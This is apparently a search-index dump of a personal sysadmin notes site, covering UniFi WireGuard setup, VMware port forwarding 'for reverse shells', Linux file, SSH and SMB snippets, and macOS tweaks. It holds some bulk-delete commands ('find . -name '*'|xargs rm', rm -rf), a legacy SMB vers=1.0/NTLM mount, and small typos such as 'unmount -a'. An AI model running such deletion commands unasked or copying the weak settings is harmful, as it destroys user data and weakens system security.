    If you want to route router-connected clients through the wireguard tunnel based on source subnet or source VLAN, you need to set up policy-based routing. Currently, there is no GUI support for policy-based routing in UnifiOS, but it can be set up in SSH by using ip route to create a custom routing table, and ip rule to select which clients to route through the custom table.

    For a script that makes it easy to set-up policy-based routing rules on UnifiOS, see the split-vpn project.

    ", "tags": ["udm", "ubiquiti", "unifi", "wireguard"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/wireguard-vpn/#binaries", "title": "Binaries", "text": "

    Prebuilt binaries are available under releases.

    The binaries are statically linked against musl libc to mitigate potential issues with UnifiOS' glibc.

    ", "tags": ["udm", "ubiquiti", "unifi", "wireguard"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/wireguard-vpn/#persistence-on-reboot", "title": "Persistence on Reboot", "text": "

    The setup script must be run every time the system is rebooted to link the wireguard tools and load the module. This can be accomplished with a boot script.

    • For the UDM or UDM Pro, install UDM Utilities on-boot-script by following the instructions here, then create a boot script under /mnt/data/on_boot.d/99-setup-wireguard.sh and fill it with the following contents. Remember to run chmod +x /mnt/data/on_boot.d/99-setup-wireguard.sh afterwards.

      Click here to see the boot script.

      #!/bin/sh\n/mnt/data/wireguard/setup_wireguard.sh\n
    • For the UDM-SE or UDR, create a systemd boot service to run the setup script at boot. Create a service file under /etc/systemd/system/setup-wireguard.service and fill it with the following contents. After creating the service, run systemctl daemon-reload && systemctl enable setup-wireguard to enable the service on boot. Click here to see the boot service.

      [Unit]\nDescription=Run wireguard setup script\nWants=network.target\nAfter=network.target\n\n[Service]\nType=oneshot\nExecStart=sh -c 'WGDIR=\"$(find /mnt/data/wireguard /data/wireguard -maxdepth 1 -type d -name \"wireguard\" 2>/dev/null | head -n1)\"; \"$WGDIR/setup_wireguard.sh\"'\n\n[Install]\nWantedBy=multi-user.target\n
    • Note this only adds the setup script to start at boot. If you also want to bring your wireguard interface up at boot, you will need to add another boot script with your wg-quick up command.

    • ", "tags": ["udm", "ubiquiti", "unifi", "wireguard"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/wireguard-vpn/#troubleshooting", "title": "Troubleshooting", "text": "Setup script returns error \"Unsupported Kernel version XXX\" * The wireguard package does not contain a wireguard module built for your firmware or kernel version, nor is there a built-in module in your kernel. Please open an issue and report your version so we can try to update the module. wg-quick up returns error \"unable to initialize table 'raw'\" * Your kernel does not have the iptables raw module. The raw module is only required if you use `0.0.0.0/0` or `::/0` in your wireguard config's AllowedIPs. A workaround is to instead set AllowedIPs to `0.0.0.0/1,128.0.0.0/1` for IPv4 or `::/1,8000::/1` for IPv6. These subnets cover the same range but do not invoke wg-quick's use of the iptables raw module.", "tags": ["udm", "ubiquiti", "unifi", "wireguard"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/wireguard-vpn/#credits", "title": "Credits", "text": "

      Original work to compile WireGuard on UnifiOS by @tusc (wireguard-kmod).

      \"WireGuard\" and the \"WireGuard\" logo are registered trademarks of Jason A. Donenfeld.

      ", "tags": ["udm", "ubiquiti", "unifi", "wireguard"]}, {"location": "infrastructure/ubiquiti/udm-dream-machine/wireguard-vpn/#the-built-in-gateway-dns-does-not-reply-to-requests-from-the-wireguard-tunnel", "title": "The built-in gateway DNS does not reply to requests from the WireGuard tunnel", "text": "
      • The built-in dnsmasq on UnifiOS is configured to only listen for requests from specific interfaces. The wireguard interface name (e.g.: wg0) needs to be added to the dnsmasq config so it can respond to requests from the tunnel. You can run the following to add wg0 to the dnsmasq interface list:
      echo \"interface=wg0\" > /run/dnsmasq.conf.d/custom_listen.conf\nkillall -9 dnsmasq\n
      • You can also those commands to PostUp in your wireguard config's Interface section to automatically run them when the tunnel comes up, e.g.:
       PostUp = echo \"interface=%i\" > /run/dnsmasq.conf.d/custom_listen.conf; killall -9 dnsmasq\n PreDown = rm -f /run/dnsmasq.conf.d/custom_listen.conf; killall -9 dnsmasq\n
      ", "tags": ["udm", "ubiquiti", "unifi", "wireguard"]}, {"location": "infrastructure/vmware/vmware-fusion/", "title": "VMware Fusion", "text": "", "tags": ["vmware", "vmware-fusion"]}, {"location": "infrastructure/vmware/vmware-fusion/#port-forwarding-for-reverse-shells", "title": "Port Forwarding for Reverse Shells", "text": "

      If you use your vm as NAT network \"Shared with My Mac\" You can forward a port to your host macOS machine.

      The network configuration files are stored their respective folders within the VMware Fusion preferences folder.

      /Library/Preferences/VMware\\ Fusion/\n

      In order to find the right network config you can inspect the dhcpd.conf inside of vmnet* folders.

      cat dhcpd.conf\n

      After you found the correct network it should contain a nat.conf file Edit the (with sudo privileges) nat.conf, For UDP protocol edit the section [incomingudp] for TCP protocol edit the [incomingtcp]

      In the next example we will forward port 4444 from VM to the 4444 port on the host. You can foreword any port to any port as you like.

      After you saved the configuration nat.conf file you must restart VMware's network services

      You do NOT need to restart the Virtual Machine

      sudo /Applications/VMware\\ Fusion.app/Contents/Library/vmnet-cli --stop\nsudo /Applications/VMware\\ Fusion.app/Contents/Library/vmnet-cli --start\n

      If you want to test the port forwarding is working as it should here's an example of running simple python webserver on the vm on port 4444 we configured before:

      python -m SimpleHTTPServer 4444\n

      Now you can test it on the Host machine by browsing to http://localhost:4444 or http://127.0.0.1:4444

      ", "tags": ["vmware", "vmware-fusion"]}, {"location": "linux/files-handling/", "title": "Files Handling", "text": "", "tags": ["linux", "files-handling"]}, {"location": "linux/files-handling/#ncurses-disk-usage", "title": "NCurses Disk Usage", "text": "

      Ncdu is a disk usage analyzer with an ncurses interface.

      apt-get install ncdu\n
      ", "tags": ["linux", "files-handling"]}, {"location": "linux/files-handling/#delete-large-file-list-argument-list-too-long", "title": "Delete Large File List - Argument list too long", "text": "
      find . -name '*'|xargs rm\n
      ", "tags": ["linux", "files-handling"]}, {"location": "linux/files-handling/#change-permissions-chmod-to-folders-and-files", "title": "Change permissions (chmod) to folders and files", "text": "
      find . -type d -exec chmod 755 {} +\nfind . -type f -exec chmod 644 {} +\n
      ", "tags": ["linux", "files-handling"]}, {"location": "linux/files-handling/#recursively-chown-user-and-group", "title": "Recursively chown user and group", "text": "
      chown -R user:group /some/path/here\n
      ", "tags": ["linux", "files-handling"]}, {"location": "linux/files-handling/#recursively-chmod-to-775664", "title": "Recursively chmod to 775/664", "text": "
      chmod -R a=,a+rX,u+w,g+w /some/path/here\n
                ^  ^    ^   ^ adds write to group\n          |  |    | adds write to user\n          |  | adds read to all and execute to all folders (which controls access)\n| sets all to `000`\n
      ", "tags": ["linux", "files-handling"]}, {"location": "linux/files-handling/#find-uidgid-for-user", "title": "Find UID/GID for user", "text": "
      id <username>\n
      ", "tags": ["linux", "files-handling"]}, {"location": "linux/general-snippets/", "title": "General Snippets", "text": "", "tags": ["linux", "snippets"]}, {"location": "linux/general-snippets/#disable-ssh-login-welcome-message", "title": "Disable SSH Login Welcome Message", "text": "

      To disable

      touch ~/.hushlogin\n

      To re-enable

      rm -rf ~/.hushlogin\n
      ", "tags": ["linux", "snippets"]}, {"location": "linux/general-snippets/#change-sudo-password-requirement-timeout-in-linux", "title": "Change Sudo Password Requirement Timeout In Linux", "text": "

      To change sudo password timeout limit in Linux, run:

      sudo visudo\n

      This command will open the\u00a0/etc/sudoers\u00a0file in\u00a0nano\u00a0editor.

      Find the following line:

      Defaults env_reset\n

      Change it like below the 30 is the number of minutes you want to set the timeout to.

      Defaults env_reset, timestamp_timeout=30\n
      ", "tags": ["linux", "snippets"]}, {"location": "linux/general-snippets/#redirect-output-to-a-file-and-stdout-with-tee", "title": "Redirect Output to a File and Stdout With tee", "text": "

      The command you want is named tee:

      foo | tee output.file\n

      For example, if you only care about stdout:

      ls -a | tee output.file\n

      If you want to include stderr, do:

      program [arguments...] 2>&1 | tee outfile\n

      2>&1 redirects channel 2 (stderr/standard error) into channel 1 (stdout/standard output), such that both is written as stdout. It is also directed to the given output file as of the tee command.

      Furthermore, if you want to append to the log file, use tee -a as:

      program [arguments...] 2>&1 | tee -a outfile\n
      ", "tags": ["linux", "snippets"]}, {"location": "linux/general-snippets/#add-permanent-path-to-application", "title": "Add Permanent Path to Application", "text": "

      First find the location of the Application/Service:

      find / -name ApplicationName\n

      Go to the path where the application is located

      cd \"../../../ApplicationName\"\n

      Run this command for ZSH:

      echo 'export PATH=\"'$(pwd)':$PATH\"' >> ~/.zshrc && source ~/.zshrc\n

      Run this command for \"shell Profile\":

      echo 'export PATH=\"'$(pwd)':$PATH\"' >> ~/.profile && source ~/.profile\n

      Run this command for \"shell\":

      echo 'export PATH=\"'$(pwd)':$PATH\"' >> ~/.shellrc && source ~/.shellrc\n
      ", "tags": ["linux", "snippets"]}, {"location": "linux/general-snippets/#create-symbolic-links", "title": "Create Symbolic Links", "text": "

      To create a symbolic link in Unix/Linux, at the terminal prompt, enter:

      ln -s source_file target_file\n

      to remove symbolic link use the rm command on the link

      ", "tags": ["linux", "snippets"]}, {"location": "linux/general-snippets/#open-last-edited-file", "title": "Open Last Edited File", "text": "
      less `ls -dx1tr /usr/local/cpanel/logs/cpbackup/*|tail -1`\n
      ", "tags": ["linux", "snippets"]}, {"location": "linux/general-snippets/#kill-process-that-runs-more-than-x-time", "title": "Kill Process That Runs More Than X Time", "text": "

      Kill cgi after 30 secs:

      for i in `ps -eo pid,etime,cmd|grep cgi|awk '$2 > \"00:30\" {print $1}'`; do kill $i; done\n
      ", "tags": ["linux", "snippets"]}, {"location": "linux/locales-time-zone/", "title": "Locales & Timezone", "text": "", "tags": ["linux", "locales", "timezone"]}, {"location": "linux/locales-time-zone/#fix-locales-fix-bash-local-error", "title": "Fix Locales (Fix Bash Local Error)", "text": "

      Set the Locale, Find the en_US.UTF-8 in the list and select it, at the following screen select it.

      dpkg-reconfigure locales\n
      ", "tags": ["linux", "locales", "timezone"]}, {"location": "linux/locales-time-zone/#set-system-time-with-time-zone-timedatectl-ntp", "title": "Set System Time With Time Zone (timedatectl ntp)", "text": "

      Find your time zone with timedatectl list-timezones use grep for easier results:

      timedatectl list-timezones | grep \"Toronto\"\n

      The output should look like this:

      America/Toronto\n

      Now set the Time Zone and active it.

      timedatectl set-timezone Asia/Jerusalem\ntimedatectl set-ntp true\n

      Now test timedatectl status

      timedatectl status\n

      Check your system time

      date\n
      ", "tags": ["linux", "locales", "timezone"]}, {"location": "linux/lvm-partitions/", "title": "LVM Partitions", "text": "", "tags": ["linux", "lvm"]}, {"location": "linux/lvm-partitions/#removing-lvm-partition-and-merging-in-to-root-partition", "title": "Removing LVM Partition and Merging In To / (root partition)", "text": "

      Find out the names of the partition with df

      df\n

      You need to unmount the partition before you can delete them and marge backup the data of the partition you would like to delete this example will use \"centos-home\" as the partition that will be merged to the root partition.

      unmount -a\nlvremove /dev/mapper/centos-home\nlvextend -l +100%FREE -r /dev/mapper/centos-root\n

      After the merging and before mounting you should remove the partition from fastab

      nano /etc/fstab\nmount -a\n
      ", "tags": ["linux", "lvm"]}, {"location": "linux/memory-swap/", "title": "Memory & Swap", "text": "", "tags": ["linux"]}, {"location": "linux/memory-swap/#who-uses-ram", "title": "Who Uses RAM", "text": "
      ps aux  | awk '{print $6/1024 \" MB\\t\\t\" $11}'  | sort -n\n
      ", "tags": ["linux"]}, {"location": "linux/memory-swap/#who-is-using-swap-memory", "title": "Who Is Using Swap Memory", "text": "
      grep VmSwap /proc/*/status 2>/dev/null | sort -nk2 | tail -n5\n
      ", "tags": ["linux"]}, {"location": "linux/memory-swap/#clear-cache-and-swap", "title": "Clear Cache and Swap", "text": "
      echo 3 > /proc/sys/vm/drop_caches && swapoff -a && swapon -a\n
      ", "tags": ["linux"]}, {"location": "linux/services-and-daemons/", "title": "Services & Daemons", "text": "

      In Linux, a service is a program that runs in the background and performs a specific function. A daemon is a type of service that also runs in the background and often starts at boot time. These processes can be controlled using the systemctl or service command. Services and daemons are an important part of the Linux operating system, as they provide various functions and services that allow the system to run smoothly. There are many different types of services and daemons that can be found on a typical Linux system, and you can find more information about them in the documentation for your specific distribution.

      "}, {"location": "linux/services-and-daemons/#useful-systemctl-commands", "title": "Useful systemctl commands", "text": "

      Start the specified service.

      systemctl start <service>\n

      Stop the specified service.

      systemctl stop <service>\n

      Restart the specified service.

      systemctl restart <service>\n

      Enable the specified service to start automatically at boot time.

      systemctl enable <service>\n

      Disable the specified service from starting automatically at boot time.

      systemctl disable <service>\n

      Show the current status and runtime information for the specified service.

      systemctl status <service>\n

      Show the dependencies for the specified service.

      systemctl list-dependencies <service>\n

      List all installed unit files on the system.

      systemctl list-units --all\n
      "}, {"location": "linux/services-and-daemons/#display-running-services", "title": "Display Running Services", "text": "

      The systemctl command with the grep command will display a list of all running services and daemons on your Linux system. The grep command will search the output of systemctl for the string \"running\" and only display the lines that contain that string.

      systemctl | grep running\n

      For more readable output:

      systemctl --no-pager | grep running | column -t\n
      "}, {"location": "linux/services-and-daemons/#display-enabled-services", "title": "Display Enabled Services", "text": "

      systemctl list-unit-files --state=enabled is a command that shows a list of unit files that are currently enabled on the system. The --state option specifies the state of the unit files that you want to see. By using --state=enabled, you will see only unit files that are enabled and will be started automatically when the system boots.

      systemctl list-unit-files --state=enabled\n
      "}, {"location": "linux/smb-mount-autofs/", "title": "SMB Mount With autofs", "text": "

      Install autofs cifs-utils

      apt install -y autofs cifs-utils\n

      Eddit auto.cifs file

      nano /etc/auto.cifs\n

      Add this to the file: (\"media\" - is any name for your mount)

      media    -fstype=cifs,rw,noperm,vers=3.0,credentials=/etc/.credentials.txt    ://oscar.3os.re/active-share/media\n

      Create credentials file

      nano /etc/.credentials.txt\n

      Add you credentials for the smb mount:

      username=YourUser\npassword=YourPassword\n

      Exit and save:

      nano /etc/auto.master\n

      At the end of the file add: (\"/mnt\" - mount location, /etc/auto.cifs your config for mounting the SMB Share)

      /mnt    /etc/auto.cifs --timeout=600 --ghost\n

      Save end exit. Test the mounting.

      systemctl start autofs\ncd /mnt/media/\nls\n

      You should see the mount over there. Enable autofs on boot:

      systemctl enable autofs\n
      ", "tags": ["smb", "share", "autofs", "mount"]}, {"location": "linux/smb-mount-autofs/#smb-mount-on-linux-with-credentials", "title": "SMB Mount on Linux With Credentials", "text": "
      sudo apt-get install cifs-utils\nnano ~/.smbcredentials\n

      add this to the config.

      username=msusername\npassword=mspassword\n

      Save the file, exit the editor. Change the permissions of the file to prevent unwanted access to your credentials:

      chmod 600 ~/.smbcredentials\n

      Then edit your /etc/fstab file (with root privileges) to add this line (replacing the insecure line in the example above, if you added it):

      //servername/sharename /media/windowsshare cifs vers=1.0,credentials=/home/ubuntuusername/.smbcredentials,iocharset=utf8,sec=ntlm 0 0\n

      Save the file, exit the editor.

      Finally, test the fstab entry by issuing:

      sudo mount -a\n

      If there are no errors, you should test how it works after a reboot. Your remote share should mount automatically.

      ", "tags": ["smb", "share", "autofs", "mount"]}, {"location": "linux/ssh-hardening-with-rsa-keys/", "title": "SSH Hardening with SSH Keys", "text": "", "tags": ["linux", "ssh", "rsa"]}, {"location": "linux/ssh-hardening-with-rsa-keys/#generating-a-new-ssh-key", "title": "Generating a new SSH key", "text": "

      RSA 4096

      ssh-keygen -t rsa -b 4096 -C \"your_email@example.com\"\n

      Ed25519 Algorithm

      ssh-keygen -t ed25519 -C \"your_email@example.com\"\n
      ", "tags": ["linux", "ssh", "rsa"]}, {"location": "linux/ssh-hardening-with-rsa-keys/#automatic-copy-rsa-key-to-the-server", "title": "Automatic Copy RSA Key to The Server", "text": "
      ssh-copy-id -i ~/.ssh/id_rsa.pub user@host\n
      ", "tags": ["linux", "ssh", "rsa"]}, {"location": "linux/ssh-hardening-with-rsa-keys/#manually-copy-rsa-key-to-the-server", "title": "Manually Copy RSA Key to The Server", "text": "

      ssh to the host (do not close this connection)

      mkdir -p ~/.ssh && touch .ssh/authorized_keys\n

      copy your public key usually located at ~/.ssh/id_rsa.pub

      echo PUCLICK_Key_STRING >> ~/.ssh/authorized_keys\n
      ", "tags": ["linux", "ssh", "rsa"]}, {"location": "linux/ssh-hardening-with-rsa-keys/#ssh-hardening-disable-password-login", "title": "SSH Hardening - Disable Password Login", "text": "

      edit /etc/ssh/sshd_config change:

      #PasswordAuthentication yes\n

      to

      PasswordAuthentication no\n

      save&exit

      restart ssh service:

      sudo systemctl restart ssh\n

      Danger

      Open new SSH season and test login with RSA Keys before closing the existing connection

      ", "tags": ["linux", "ssh", "rsa"]}, {"location": "linux/ssh-hardening-with-rsa-keys/#optional-change-ssh-port", "title": "Optional: change ssh port", "text": "

      edit /etc/ssh/sshd_config change the port to a desired one

      port 1337\n

      save&exit

      restart ssh service:

      sudo systemctl restart ssh\n
      ", "tags": ["linux", "ssh", "rsa"]}, {"location": "linux/ssh-hardening-with-rsa-keys/#add-privet-id_rsa-key-to-server", "title": "Add Privet id_rsa key to Server", "text": "

      copy the id_rsa key to ~/.ssh folder

      cd ~/.ssh\nsudo ssh-agent bash\nssh-add id_rsa\n
      ", "tags": ["linux", "ssh", "rsa"]}, {"location": "linux/Network/identify-nics/", "title": "Identify Physical Network Interfaces", "text": "", "tags": ["linux", "network"]}, {"location": "linux/Network/identify-nics/#the-problem", "title": "The Problem", "text": "

      Servers usually have a number of physical network interfaces. The network interfaces names in linux host usually won't tell you much about the which physical network interface corresponds to the interface name. Therefor, it creates a problem when you want to use a specific network interface for a specific purpose but you don't know which physical network interface corresponds to the interface name.

      ", "tags": ["linux", "network"]}, {"location": "linux/Network/identify-nics/#the-solution", "title": "The Solution", "text": "

      ethtool tool can be used to identify the physical network interface corresponding to a network interface name.

      For this method to work, you need a physical accessto host's network cards and the physical network interfaces should have Led indicator lights.

      Note

      This functionality of ethtool may not be supported by all server or network card hardware.

      ethtool usually isn't installed by default on a linux host. You can install it by running the following command (debian example):

      apt install ethtool\n

      Find the network interfaces present on the host and run the following command for each network interface:

      ip addr\n

      or

      ifconfig -a\n

      Now you can use the ethtool command to identify the physical network interface corresponding to the network interface name.

      Example for eth0 network interface name:

      ethtool --identify eth0\n

      This command will run untill you stop it. When it's running, you should see the LED indicator light blinking (usually orange) on the physical network interface corresponding to the network interface name.

      To get information about the hardware capabilities of the network interface:

      ethtool eth0\n

      output example:

      ethtool enp12s0f4\n\nSettings for enp12s0f4:\n    Supported ports: [ FIBRE ]\nSupported link modes:   1000baseT/Full\n                            10000baseT/Full\n    Supported pause frame use: Symmetric Receive-only\n    Supports auto-negotiation: No\n    Supported FEC modes: None\n    Advertised link modes:  10000baseT/Full\n    Advertised pause frame use: Symmetric\n    Advertised auto-negotiation: No\n    Advertised FEC modes: None\n    Link partner advertised link modes:  Not reported\n    Link partner advertised pause frame use: Symmetric\n    Link partner advertised auto-negotiation: No\n    Link partner advertised FEC modes: None\n    Speed: 10000Mb/s\n    Duplex: Full\n    Auto-negotiation: off\n    Port: Direct Attach Copper\n    PHYAD: 255\nTransceiver: internal\n        Current message level: 0x000000ff (255)\ndrv probe link timer ifdown ifup rx_err tx_err\n    Link detected: yes\n
      ", "tags": ["linux", "network"]}, {"location": "linux/ubuntu-debian/disable-ipv6/", "title": "Disable IPv6 on Ubuntu and Debian Linux Permanently", "text": "

      By default, Ubuntu/Debian IPv6 is enabled after installation. This means that the IPv6 stack is active and the host can communicate with other hosts on the same network via IPv6 protocol.

      You can disable Ubuntu/Debian by editing the /etc/default/grub file.

      nano /etc/default/grub\n

      add ipv6.disable=1 to the end of GRUB_CMDLINE_LINUX_DEFAULT and GRUB_CMDLINE_LINUX line. Don't change the other values at those lines.

      GRUB_CMDLINE_LINUX_DEFAULT=\"ipv6.disable=1\"\nGRUB_CMDLINE_LINUX=\"ipv6.disable=1\"\n

      The config should look like this:

      Update the grub configuration.

      update-grub\n

      Save and exit. Reboot to apply the changes.

      ", "tags": ["ubuntu", "debian", "ipv6"]}, {"location": "linux/ubuntu-debian/free-port-53/", "title": "Free Port 53 on Ubuntu", "text": "", "tags": ["Ubuntu", "dns"]}, {"location": "linux/ubuntu-debian/free-port-53/#whats-using-port-53", "title": "What's Using Port 53?", "text": "

      When you install Ubuntu (in my case its Server version). It uses systemd-resolved as internal DNS Forwarder.

      systemd-resolved is a system service that provides network name resolution to local applications. It implements a caching and validating DNS/DNSSEC stub resolver, as well as an LLMNR resolver and responder.

      ", "tags": ["Ubuntu", "dns"]}, {"location": "linux/ubuntu-debian/free-port-53/#how-to-free-port-53-on-ubuntu", "title": "How to Free Port 53 on Ubuntu", "text": "

      If we want to use port 53 for other purposes, we need to free it for example a Pihole DNS server.

      We can do it with the following commands:

      sudo sed -r -i.orig 's/#?DNSStubListener=yes/DNSStubListener=no/g' /etc/systemd/resolved.conf\nsudo sh -c 'rm /etc/resolv.conf && ln -s /run/systemd/resolve/resolv.conf /etc/resolv.conf'\nsudo systemctl restart systemd-resolved\n
      ", "tags": ["Ubuntu", "dns"]}, {"location": "linux/ubuntu-debian/remove-snap-store/", "title": "Remove Snap Store from Ubuntu", "text": "", "tags": ["ubuntu"]}, {"location": "linux/ubuntu-debian/remove-snap-store/#what-is-snap", "title": "What Is Snap?", "text": "

      Snap is a cross-platform packaging and deployment system developed by Canonical, the makers of Ubuntu, for the Linux platform. It's compatible with most major Linux distros, including Ubuntu, Debian, Arch Linux, Fedora, CentOS, and Manjaro.

      ", "tags": ["ubuntu"]}, {"location": "linux/ubuntu-debian/remove-snap-store/#how-to-remove-snap-store", "title": "How To Remove Snap Store", "text": "
      sudo rm -rf /var/cache/snapd/\nsudo apt autoremove --purge snapd gnome-software-plugin-snap\nsudo rm -rf ~/snap\n
      ", "tags": ["ubuntu"]}, {"location": "linux/ubuntu-debian/unattended-upgrades/", "title": "Unattended Upgrades", "text": "
      sudo apt install -y unattended-upgrades apt-listchanges\n

      Edit the config to your preference

      sudo nano /etc/apt/apt.conf.d/50unattended-upgrades\n

      Example

      UbuntuDebian/RaspberyOS
      Unattended-Upgrade::Allowed-Origins {\n\"${distro_id}:${distro_codename}\";\n\"${distro_id}:${distro_codename}-security\";\n// Extended Security Maintenance; doesn't necessarily exist for\n// every release and this system may not have it installed, but if\n// available, the policy for updates is such that unattended-upgrades\n// should also install from here by default.\n\"${distro_id}ESMApps:${distro_codename}-apps-security\";\n\"${distro_id}ESM:${distro_codename}-infra-security\";\n\"${distro_id}:${distro_codename}-updates\";\n\"${distro_id}:${distro_codename}-proposed\";\n// \"${distro_id}:${distro_codename}-backports\";\n};\n\nUnattended-Upgrade::DevRelease \"auto\";\nUnattended-Upgrade::AutoFixInterruptedDpkg \"true\";\nUnattended-Upgrade::MinimalSteps \"true\";\nUnattended-Upgrade::InstallOnShutdown \"false\";\n//Unattended-Upgrade::Mail \"\";\n//Unattended-Upgrade::MailReport \"on-change\";\nUnattended-Upgrade::Remove-Unused-Kernel-Packages \"true\";\nUnattended-Upgrade::Remove-New-Unused-Dependencies \"true\";\nUnattended-Upgrade::Remove-Unused-Dependencies \"true\";\nUnattended-Upgrade::Automatic-Reboot \"true\";\nUnattended-Upgrade::Automatic-Reboot-WithUsers \"true\";\nUnattended-Upgrade::Automatic-Reboot-Time \"06:00\";\n//Acquire::http::Dl-Limit \"70\";\n// Unattended-Upgrade::SyslogEnable \"false\";\n// Unattended-Upgrade::SyslogFacility \"daemon\";\n// Unattended-Upgrade::OnlyOnACPower \"true\";\n// Unattended-Upgrade::Skip-Updates-On-Metered-Connections \"true\";\n// Unattended-Upgrade::Verbose \"false\";\n// Unattended-Upgrade::Debug \"false\";\n// Unattended-Upgrade::Allow-downgrade \"false\";\n
      Unattended-Upgrade::Origins-Pattern {\n// Codename based matching:\n// This will follow the migration of a release through different\n// archives (e.g. from testing to stable and later oldstable).\n// Software will be the latest available for the named release,\n// but the Debian release itself will not be automatically upgraded.\n\"origin=Debian,codename=${distro_codename}-updates\";\n// \"origin=Debian,codename=${distro_codename}-proposed-updates\";\n\"origin=Debian,codename=${distro_codename},label=Debian\";\n\"origin=Debian,codename=${distro_codename},label=Debian-Security\";\n\n// Archive or Suite based matching:\n// Note that this will silently match a different release after\n// migration to the specified archive (e.g. testing becomes the\n// new stable).\n// \"o=Debian,a=stable\";\n// \"o=Debian,a=stable-updates\";\n// \"o=Debian,a=proposed-updates\";\n// \"o=Debian Backports,a=${distro_codename}-backports,l=Debian Backports\";\n};\n\nUnattended-Upgrade::DevRelease \"auto\";\nUnattended-Upgrade::AutoFixInterruptedDpkg \"true\";\nUnattended-Upgrade::MinimalSteps \"true\";\nUnattended-Upgrade::InstallOnShutdown \"false\";\n//Unattended-Upgrade::Mail \"\";\n//Unattended-Upgrade::MailReport \"on-change\";\nUnattended-Upgrade::Remove-Unused-Kernel-Packages \"true\";\nUnattended-Upgrade::Remove-New-Unused-Dependencies \"true\";\nUnattended-Upgrade::Remove-Unused-Dependencies \"true\";\nUnattended-Upgrade::Automatic-Reboot \"true\";\nUnattended-Upgrade::Automatic-Reboot-WithUsers \"true\";\nUnattended-Upgrade::Automatic-Reboot-Time \"06:00\";\n// Acquire::http::Dl-Limit \"70\";\n// Unattended-Upgrade::SyslogEnable \"false\";\n// Unattended-Upgrade::SyslogFacility \"daemon\";\n// Unattended-Upgrade::OnlyOnACPower \"true\";\n// Unattended-Upgrade::Skip-Updates-On-Metered-Connections \"true\";\n// Unattended-Upgrade::Verbose \"false\";\n// Unattended-Upgrade::Debug \"false\";\n// Unattended-Upgrade::Allow-downgrade \"false\";\n

      Automatic call via /etc/apt/apt.conf.d/20auto-upgrades

      echo unattended-upgrades unattended-upgrades/enable_auto_updates boolean true | sudo debconf-set-selections\nsudo dpkg-reconfigure -f noninteractive unattended-upgrades\n

      Check the /etc/apt/apt.conf.d/20auto-upgrades for those 2 lines:

      APT::Periodic::Update-Package-Lists \"1\";\nAPT::Periodic::Unattended-Upgrade \"1\";\n

      Manual Run:

      sudo unattended-upgrade -d\n

      To enable unattended-upgrade use the following command:

      sudo dpkg-reconfigure --priority=low unattended-upgrades\n
      ", "tags": ["ubuntu"]}, {"location": "mac-os/applications-tweaks/", "title": "Applications Tweaks", "text": "", "tags": ["macOS"]}, {"location": "mac-os/applications-tweaks/#running-multi-instances-of-an-application", "title": "Running Multi Instances of an Application", "text": "

      Launch the Script Editor choose temporary folder

      Copy the command to be executed to the Script Editor

      do shell script \"open -n <path to application>\"\n

      Example

      do shell script \"open -n /Applications/'Visual Studio Code.app'\"

      File > Export

      Use the following settings:

      • Export As: Your New Application Name
      • Where: Applications
      • File Format: Application

      Change The Icon of Your New Application:

      In Finder got to Applications folder. Right Click on the new Your New Application application we just created and click Get Info. Drug the original application icon (or any other) to the in the left corner of the \"get info\" menu.

      ", "tags": ["macOS"]}, {"location": "mac-os/applications-tweaks/#lunch-firefox-profile-manager-as-application", "title": "Lunch Firefox Profile Manager as Application", "text": "

      Launch the Script Editor choose temporary folder

      Copy the command to be executed to the Script Editor

      do shell script \"/Applications/Firefox.app/Contents/MacOS/firefox -ProfileManager &> /dev/null &\"\n

      File > Export

      Use the following settings:

      • Save As: Firefox Profile Manager
      • Where: Applications
      • File Format: Application

      Change The Icon of Your New Firefox Profile Manager Application:

      In Finder got to Applications folder. Right Click on the new Firefox Profile Manager application we just created and click Get Info. Drug the original application to the icon in the left corner of the \"get info\" menu.

      ", "tags": ["macOS"]}, {"location": "mac-os/enable-root-user/", "title": "Enable or Disable the Root User on macOS", "text": "

      Mac administrators can use the root user account to perform tasks that require access to more areas of the system.

      The user account named \u201droot\u201d is a superuser with read and write privileges to more areas of the system, including files in other macOS user accounts. The root user is disabled by default. If you can log in to your Mac with an administrator account, you can enable the root user, then log in as the root user to complete your task.

      ", "tags": ["macOS"]}, {"location": "mac-os/enable-root-user/#how-to-enable-the-root-user", "title": "How to Enable the Root User", "text": "

      System Preferences > Users & Groups Click lock icon, enter an administrator name and password. Click Login Options. Click Join at Newotk Account Server.

      Click Open Directory Utility.

      Click lock icon in the Directory Utility window, then enter an administrator name and password.

      From the menu bar in Directory Utility: Choose Edit > Enable Root User, then enter the password that you want to use for the root user. Or choose Edit > Disable Root User.

      ", "tags": ["macOS"]}, {"location": "mac-os/enable-root-user/#how-to-disable-the-root-user", "title": "How to Disable the Root User", "text": "

      To Disable the Root User repeat the steps above, but change the last step to Disable Root User.

      ", "tags": ["macOS"]}, {"location": "mac-os/enable-root-user/#login-as-the-root-user", "title": "Login as The Root User", "text": "

      When the root user is enabled, you have the privileges of the root user only while logged in as the root user.

      Logout of your current account, then log in as the root user. user name \u201droot\u201d and the password you created for the root user.

      ", "tags": ["macOS"]}, {"location": "mac-os/import-ssh-keys-keychain/", "title": "Import ed25519/RSA Keys Passphrase to macOS Keychain", "text": "

      First, you need to add the keys to the keychain with the following steps:

      Copy your ed25519, ed25519.pub / id_rsa, id_rsa.pub to ~/.ssh/ folder

      Store the key in the MacOS Keychain

      ed25519 KeyRSA Key
      ssh-add --apple-use-keychain ~/.ssh/ed25519\n
      ssh-add --apple-use-keychain ~/.ssh/id_rsa\n

      Enter your key passphrase. You won't be asked for it again.

      List all keys in the keychain:

      ssh-add -l\n
      ", "tags": ["macos"]}, {"location": "mac-os/import-ssh-keys-keychain/#configure-ssh-to-always-use-the-keychain", "title": "Configure SSH to always use the keychain", "text": "

      If you haven't already, create an ~/.ssh/config file. In other words, in the .ssh directory in your home dir, make a file called config.

      At ~/.ssh/config file, add the following lines at the top of the config:

      Store the key in the MacOS Keychain

      For ed25519 KeyFor RSA Key
      Host *\n  UseKeychain yes\n  AddKeysToAgent yes\n  IdentityFile ~/.ssh/id_ed25519\n
      Host *\n  UseKeychain yes\n  AddKeysToAgent yes\n  IdentityFile ~/.ssh/id_rsa\n

      The UseKeychain yes is the key part, which tells SSH to look in your macOS keychain for the key passphrase.

      That's it! Next time you load any ssh connection, it will try the private keys you've specified, and it will look for their passphrase in the macOS keychain. No passphrase typing required.

      ", "tags": ["macos"]}, {"location": "mac-os/terminal-snippets/", "title": "Terminal Snippets", "text": "
